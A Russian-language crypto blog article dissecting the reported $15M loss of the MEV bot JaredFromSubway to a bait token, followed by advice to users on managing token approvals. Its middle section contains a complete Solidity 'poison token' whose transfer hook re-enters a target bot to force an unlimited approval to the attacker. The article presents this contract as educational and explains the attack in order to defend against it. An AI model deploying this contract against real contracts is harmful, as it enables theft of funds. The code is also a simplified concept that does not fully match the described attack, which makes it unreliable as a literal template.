Нажмите ESC, чтобы закрыть

Как MEV-бот Jaredfromsubway потерял $15 млн: Разбор

Инцидент с JaredFromSubway - это не просто очередная кража в DeFi, а фундаментальный сдвиг в «пищевой цепочке» Ethereum. Долгое время MEV-боты считались абсолютными хищниками мемпула, которые используют сложнейшие симуляции для безрискового извлечения прибыли за счет обычных трейдеров. Однако атака, стоившая операторам JaredFromSubway более $15 млн, показала: автоматизация без глубокой изоляции контекста исполнения смертельно опасна.

Ниже представлен детальный технический разбор эксплойта, архитектура приманки и пример уязвимого кода, который превратил сложнейшего торгового робота в донора ликвидности.

Анатомия уязвимости: В чем просчитался алгоритм Джареда?

Классические MEV-боты, совершающие сэндвич-атаки, используют внечейновые движки симуляции (например, модифицированные клиенты Geth/Erigon). Перед отправкой транзакции через Flashbots или Builder API, бот "прокручивает" состояние EVM локально. Если симуляция показывает чистый профит в WETH, связка транзакций отправляется в блок.

Хакеры использовали фундаментальный недостаток этой логики - динамическое исполнение непроверенного байткода.

Бот JaredFromSubway оптимизировал маршруты для снижения затрат на газ. Чтобы не развертывать новые смарт-контракты под каждую сделку, он использовал постоянный контракт-роутер с накопленной ликвидностью и выданными бесконечными разрешениями (infinite approvals) для пулов Uniswap V2/V3. Бот исходил из парадигмы, что внешние токены ERC-20 безопасны, если соблюдается математика баланса пула до и после транзакции.

Атакующие создали токен-приманку, чья функция transfer/transferFrom содержала скрытый полезный груз (payload). Когда бот вызвал функцию swap в пуле, управление внутри EVM перешло к коду вредоносного токена. Вместо того чтобы просто обновить баланс в маппинге, токен совершил низкоуровневый вызов (call) обратно в контракт бота, заставив его подписать approve на критически важные активы (WETH, USDC, USDT) в пользу адреса хакера. Симуляция бота не распознала в этом угрозу, так как на этапе локального теста баланс токенов рос, а отток реальных средств произошел на следующем шаге, который бот посчитал безопасным.

Пошаговая хронология эксплойта

  • 1. Подготовка инфраструктуры и деплой отравленного токена

    Злоумышленники развернули смарт-контракт токена и создали пул ликвидности. Внутри токена была реализована кастомная логика, которая активировалась только тогда, когда инициатором транзакции выступал известный адрес контракта JaredFromSubway.

  • 2. Генерация ложного сигнала (Baiting)

    Хакеры инициировали крупную транзакцию на покупку собственного токена через публичный мемпул. Для алгоритмов бота это выглядело как идеальная мишень для сэндвича: низкая ликвидность пула, гарантированное высокое проскальзывание (slippage) и колоссальная математическая прибыль от фронтран-покупки.

  • 3. Захват управления (The Hijacking)

    Бот перехватил транзакцию, сформировал бандл (bundle) и подкупил валидатора через priority fee, чтобы встать первым.

    [Блок Ethereum]
    ├── Транзакция 1 (Frontrun): Бот покупает фейковый токен -> Активация вредоносного кода -> Вызов approve()
    ├── Транзакция 2 (Жертва): Хакер совершает запланированный swap
    └── Транзакция 3 (Backrun): Бот пытается продать токен (уже не имеет значения)

    В момент выполнения первой транзакции внутри пула, контракт токена перехватил поток выполнения (Execution Flow). Используя уязвимость в архитектуре роутера бота, который слепо доверял вызовам от торгуемых токенов, контракт хакера заставил бота выполнить: asset.approve(attacker_address, type(uint256).max).

  • 4. Опустошение кошельков через transferFrom

    Получив права распоряжения основными средствами бота, хакеры не стали ждать завершения блока. В рамках той же атаки (или сразу в следующем блоке, используя атомарные бандлы) вредоносный контракт вызвал функцию transferFrom на контрактах WETH, USDC и USDT. Совокупно со всех связанных адресов JaredFromSubway было выведено более $15 млн, включая один транш на $7.5 млн.

Сравнительный анализ: Обычный сэндвич vs Эксплойт «Джареда»

ПараметрКлассический сэндвич (Jared)Контратака хакеров (Honey Pot)
Объект атакиОбычный пользователь (рыночный ордер)MEV-бот (автоматизированный роутер)
Основной инструментМанипуляция ценой через порядок транзакцийВнедрение вредоносного байткода через ERC-20
Вектор уязвимостиВысокое проскальзывание (Slippage) трейдераОтсутствие изоляции прав (Approvals) в боте
РезультатБот забирает микро-спреды (0.1% - 5%)Хакер забирает всю оборотную ликвидность бота

Архитектура "Отравленного токена" (Пример концепта)

Ниже представлен завершенный, компилируемый смарт-контракт на Solidity, демонстрирующий, как именно токен может перехватить управление и заставить вызывающий контракт выдать апрувы.

Важно: Данный код предоставлен исключительно в образовательных целях для демонстрации вектора атаки и проектирования систем защиты.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function approve(address spender, uint256 value) external returns (bool);
}
contract PoisonToken {
    string public name = "HoneyPot MEV Bait";
    string public symbol = "BAIT";
    uint8 public decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    address public immutable attacker;
    address public targetBot;
    address public immutable targetAsset; // Например, WETH контракт
    bool private inAttack;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    constructor(address _targetAsset) {
        attacker = msg.sender;
        targetAsset = _targetAsset;
        totalSupply = 1000000 * 10 ** uint256(decimals);
        balanceOf[msg.sender] = totalSupply;
    }
    function setTargetBot(address _bot) external {
        require(msg.sender == attacker, "Only attacker can set target");
        targetBot = _bot;
    }
    function transfer(address to, uint256 value) external returns (bool) {
        _transfer(msg.sender, to, value);
        return true;
    }
    function transferFrom(address from, address to, uint256 value) external returns (bool) {
        uint256 allowed = allowance[from][msg.sender];
        if (allowed != type(uint256).max) {
            require(allowed >= value, "ERC20: insufficient allowance");
            allowance[from][msg.sender] = allowed - value;
        }
        _transfer(from, to, value);
        return true;
    }
    function approve(address spender, uint256 value) external returns (bool) {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }
    function _transfer(address from, address to, uint256 value) internal {
        require(balanceOf[from] >= value, "ERC20: transfer amount exceeds balance");
        
        balanceOf[from] -= value;
        balanceOf[to] += value;
        emit Transfer(from, to, value);
        // Триггер атаки: если вызов идет от бота или к боту, и мы еще не в рекурсии
        if ((from == targetBot || to == targetBot) && !inAttack && targetBot != address(0)) {
            inAttack = true;
            
            // Совершаем reentrancy-подобный вызов в контракт бота.
            // Мы эксплуатируем логику бота, где он выполняет произвольные низкоуровневые 
            // вызовы (arbitrary calls) на основе переданных ему данных во время свопа.
            // Симулируем принудительный апрув WETH для атакующего.
            bytes memory payload = abi.encodeWithSignature(
                "approve(address,uint256)", 
                attacker, 
                type(uint256).max
            );
            
            // Бот выполняет этот вызов, так как его роутер принимает инструкции из контекста пула
            (bool success, ) = targetBot.call(payload);
            require(success, "Exploit execution failed");
            
            inAttack = false;
        }
    }
}

Как защитить свои средства: Уроки для обычного пользователя

Хотя эта битва происходила на уровне «хищник против чужого», обычные пользователи могут извлечь из неё фундаментальные уроки безопасности. Бот JaredFromSubway пострадал от бесконтрольных разрешений (infinite approvals). Обычные кошельки ежедневно подвергаются точно такому же риску.

Когда вы взаимодействуете с любым DeFi-протоколом (Uniswap, 1inch, Lending-платформы), интерфейс предлагает вам подписать две транзакции: первая - Approve (разрешение тратить ваши токены), вторая - сам Swap или Deposit.

Большинство децентрализованных приложений по умолчанию запрашивают разрешение на бесконечное количество ваших токенов (uint256.max). Это делается ради удобства, чтобы вы не платили за газ при каждой следующей сделке.

Но если смарт-контракт протокола будет взломан (как это случилось с роутером Джареда) или если вы случайно подпишете апрув на фишинговом сайте, злоумышленник сможет в любой момент вызвать функцию transferFrom и мгновенно опустошить ваш кошелек, даже если ваши токены просто спокойно лежали на балансе.

Чек-лист: Как не стать жертвой скрытых апрувов

  • Используйте кастомные лимиты (Custom Allowance):

    При подписании транзакции Approve в MetaMask или Rabby Wallet никогда не нажимайте кнопку «Максимум». Вручную вводите то количество токенов, которое вы собираетесь обменять прямо сейчас. Если вы меняете 100 USDC, разрешение должно быть строго на 100 USDC.

  • Регулярно отзывайте разрешения:

    Заведите привычку раз в месяц проверять свои активные апрувы. Используйте для этого проверенные сервисы, такие как Revoke.cash или встроенные инструменты в блокчейн-эксплорерах (раздел Token Approvals на Etherscan).

  • Разделяйте кошельки по ролям:

    Держите основной объем капитала на холодном аппаратном кошельке, который вообще никогда не взаимодействует со смарт-контрактами. Для ежедневного трейдинга и минта NFT используйте «горячий» кошелек с минимальным балансом, который не жалко потерять в случае reentrancy-атаки или хака пула.

Astra EXMON

Astra is the official voice of EXMON and the editorial collective dedicated to bringing you the most timely and accurate information from the crypto market. Astra represents the combined expertise of our internal analysts, product managers, and blockchain engineers.

...

Поделитесь своим мнением

Ваш e-mail не будет опубликован. Обязательные поля отмечены *